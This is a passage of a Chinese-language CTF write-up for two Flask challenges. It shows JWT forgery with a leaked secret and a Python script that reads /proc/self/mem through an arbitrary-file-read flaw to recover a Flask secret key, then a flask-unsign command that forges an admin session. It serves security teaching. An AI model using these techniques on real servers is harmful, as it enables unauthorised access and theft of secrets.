return "Error executing /readflag: " + str(e)
if os.path.exists(filepath):
mime_type, encoding = mimetypes.guess_type(filepath)
if mime_type is None:
mime_type = 'application/octet-stream'
with open(filepath, "rb") as file:
response = make_response(file.read())
response.headers.set('Content-Type', mime_type)
response.headers.set('Content-Disposition', f'attachment; filename={os.path.basename(filepath)}')
return response
else:
return "File not found.", 404
@app.errorhandler(500)
def internal_server_error(error):
app.logger.error('Server Error: %s', (error))
return "好像有什么错误喵!", 500
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80, debug=False)
分析代码后发现只有满足以下两个条件才能调用 /readflag
subprocess 来读取flag:
- Cookies
auth
经过 jwt 解析后包含{"username":"admin"}
字段 - filename 的 GET 传参为
yuanshen?qidong!
2. JWT (Json Web Tokens)
从 F12 开发人员工具中找到当前 Cookies auth
的值
auth = eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Imd1ZXN0In0.6tqEhsR0SEHG-GL7hEar5Ewi2dQbGSEz-3NoPrZxi1Y
2.1 JWT 的组成
JWT 通常是一个很长的字符串,中间用两个 .
分隔成三个部分,依次为:
- Header(头部)
- Payload(负载)
- Signature(签名)
该字符串应形如:Header.Payload.Signature
下面将分别解释三个部分的内容及其作用:
2.1.1 Header
Header 部分是一个 JSON 对象,用于描述 JWT 的元数据,它通常是这样的:
{
"alg": "HS256",
"typ": "JWT"
}
其中:
alg
属性表示Signature
的加密算法,默认是HMAC SHA256
(写成HS256
)typ
属性表示token
的类型,JWT
类型统一写为JWT
最后,将上面的 JSON 对象使用 Base64URL
算法(详见后文)转成字符串
2.1.2 Payload
Payload 部分也是一个 JSON 对象,用来存放实际需要传递的数据
由于该部分可以通过 Base64URL
进行解密并被读取,此处一般不存放密文
这个 JSON 对象最后也要使用 Base64URL
算法(详见后文)转成字符串
2.1.3 Signature
Signature 部分是对前两部分的签名,防止数据在传输过程中被篡改
签名由 Header 里面指定的签名算法(默认是 HMAC SHA256
)和 设置好的密钥( secret_key
)产生:
HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload), secret_key)
最后,把 Header、Payload、Signature 三个部分拼成一个字符串,
每个部分之间用 .
分隔,就形成了一个有效的 JSON Web Token
2.1.4 Base64URL
前面提到,将 Header 和 Payload 串型化的算法是 Base64URL
,
该算法跟 Base64
算法基本类似,但有一些不同:
- 省略通过
Base64
算法得到的=
- 将通过
Base64
算法得到的+
替换成-
,/
替换成_
这是因为 JWT 作为一个 token
,有时会被应用于 URL 中(例如 /?token=xxx
),
通过 Base64
算法得到的三个字符 ( +
、 /
、 =
) ,在 URL 里面有特殊含义,所以需要进行省略或替换
2.2 JWT的伪造
使用 jwt.io 解析
分析代码后可以发现 Cookies auth
的 SECRET_KEY
为 I_LIKE_Aoyama_Nanami
在 jwt.io 中使用 SECRET_KEY 伪造 {"username":"admin"}
字段并重新加密,
得到伪造后的 auth
如下:
auth = eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.mJHHgw5KDOeM6Fu5r7KXYUb-chM02YBqsqmTWMAdDR0
3. Payload
修改 auth
为伪造后的值并访问 /download?filename=yuanshen?qidong!
,得到 flag
Spirit{6bb3de28-1cc8-4af3-babe-43593039f366}
你真的喜欢鸣濑白羽吗
题目描述:
不是真的喜欢鸣濑白羽(?)的人拿不到flag
打开页面后发现又是一个图库管理下载系统 (?)
但是点击 Download
后跳转至 /download?filename=1.jpg
发现图片下载不下来,显示如下:
猜测服务端代码对文件读取方式进行了修改
1. 任意文件读取漏洞
与上一题相同,/download?filename=xxxx
处仍存在任意文件读取漏洞
访问 /download?filename=/proc/self/cmdline
, 内容如下:
python /app/I_LIKE_Nanami.py
根据服务端代码路径访问 /download?filename=/app/I_LIKE_Nanami.py
,
得到服务端代码如下:
import os
import secrets
import subprocess
from flask import Flask, make_response, request, render_template, session
app = Flask(__name__)
random_string = "I_LIKE_"+secrets.token_hex(16)+"_Aoyama_Nanami"
app.config['SECRET_KEY'] = random_string
@app.route('/')
def index():
if 'username' not in session:
session['username'] = 'guest'
response = make_response(render_template('index.html'))
return response
@app.route('/download', methods=['GET'])
def download():
username = session.get('username')
filename = request.args.get('filename', '1.jpg')
offset = int(request.args.get('offset', "0"))
length = int(request.args.get('length', "0"))
if username == 'admin' and filename == "xingtie?qidong!":
try:
output = subprocess.check_output(['/readflag'])
return output.decode('utf-8')
except subprocess.CalledProcessError as e:
return "Error executing /readflag: " + str(e)
filepath = os.path.join('static/images', filename)
if os.path.exists(filepath):
if offset == 0 and length == 0:
return open(filepath, "rb").read()
else:
with open(filepath, 'rb') as f:
f.seek(offset)
data = f.read(length)
return data
else:
return "File not found.", 404
@app.errorhandler(500)
def internal_server_error(error):
app.logger.error('Server Error: %s', (error))
return "好像有什么错误喵!", 500
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80, debug=False)
分析代码后发现只有满足以下两个条件才能调用 /readflag
subprocess 来读取flag:
- python flask
session
包含{"username":"admin"}
字段 - filename 的 GET 传参为
xingtie?qidong!
2. Python Flask Session
从 F12 开发人员工具中找到当前 Cookies session
的值
session = eyJ1c2VybmFtZSI6Imd1ZXN0In0.ZRRgdA.WGZwA7J0tKtifRUgBXyh5DmPmzs
2.1 Session 的组成
Python Flask Session 通常是一个很长的字符串,中间用两个 .
分隔成三个部分(如果使用了zlib compress,则开头会多出一个 .
,该部分归属于Session Data内),依次为:
- Session Data( Session 数据 )
- Timestamp( 时间戳 )
- Cryptographic Hash( 签名 )
该字符串应形如:Session Data.Timestamp.Cryptographic Hash
下面将分别解释三个部分的内容及其作用:
2.1.1 Session Data
Session Data 部分是一个 JSON 对象,用来存放实际需要传递的数据
Session 在生成时会根据使用 zlib compress 能否减少 Session Data 部分的长度
来选择性地使用 zlib compress ( 使用的标志是Session Data 以 .
开头 )
由于该部分可以通过 Base64URL
进行解密并被读取,此处一般不存放密文
这个 JSON 对象最后也要使用 Base64URL
算法(详见后文)转成字符串
2.1.2 Timestamp
Timestamp 部分通常由 Session 生成时间的时间戳构成
该时间戳最后会被转化为字节形式并使用 Base64URL
算法(详见后文)进行加密
2.1.3 Cryptograhpic Hash
Python Flask Session
在生成 Session
的校验签名时
会先对 secret_key
进行操作
首先对 secret_key
进行一次 sha1
加密
并用 "cookie-session"
salt 来 update 加密后的 secert_key
接着将 Session Data + sep + Timestamp
使用处理完成的 secret_key
进行一次 sha1
加密
最后将得到的数据使用 Base64URL
算法(详见后文)进行加密
2.1.4 Base64URL
前面提到,将 Session Data、Timestamp 和 Cryptograhpic Hash 串型化的算法是 Base64URL
,
该算法跟 Base64
算法基本类似,但有一些不同:
- 省略通过
Base64
算法得到的=
- 将通过
Base64
算法得到的+
替换成-
,/
替换成_
这是因为 Session 作为一个 token
,有时会被应用于 URL 中(例如 /?token=xxx
),
通过 Base64
算法得到的三个字符 ( +
、 /
、 =
) ,在 URL 里面有特殊含义,所以需要进行省略或替换
2.2 Session 的伪造
由于服务端代码使用了包含随机字符的 random_string
作为 SECRET_KEY
,
而 Session 的 Cryptographic Hash
需要使用 SECRET_KEY 作为密钥,
因此在伪造 Session 前我们需要先利用任意文件读取漏洞获取 SECRET_KEY
由于 Python Flask 在运行时会将 SECRET_KEY 写入内存中,
我们可以利用任意文件读取漏洞读取内存来获得 SECRET_KEY
Python 内存读取脚本如下
import requests
import re
url = (SpiritCTF Server URL with port)
rw = []
map_list = requests.get(f"{url}/download?filename=/proc/self/maps")
map_list = map_list.text.split("\n")
for i in map_list:
map_addr = re.match(r"([a-z0-9]+)-([a-z0-9]+) r", i)
if map_addr:
start = int(map_addr.group(1), 16)
end = int(map_addr.group(2), 16)
rw.append((start, end - start))
for k in rw:
res = requests.get(f"{url}/download?filename=/proc/self/mem&offset={k[0]}&length={k[1]}")
try:
secret_key = re.findall("I_LIKE_[a-f0-9]{32}_Aoyama_Nanami", res.text)
if secret_key:
print("SECRET_KEY = \"" + secret_key[0] + "\"")
except:
pass
运行脚本后得到:
SECRET_KEY = "I_LIKE_f9d2e4914fec5f9f26fad0a0e4da3afe_Aoyama_Nanami"
使用 flask-unsign 工具对 Session 进行伪造并签名
flask-unsign --sign --cookie "{'username': 'admin'}" --secret 'I_LIKE_f9d2e4914fec5f9f26fad0a0e4da3afe_Aoyama_Nanami'
得到 Session 如下:
eyJ1c2VybmFtZSI6ImFkbWluIn0.ZRRqXA.6kG8cNrvnCI73R2nxAF8iOSA6Ko
修改Cookies Session
并访问 /download?filename=xingtie?qidong!
,得到 flag
Spirit{7d05af5f-202d-4578-8833-f598ad794b48}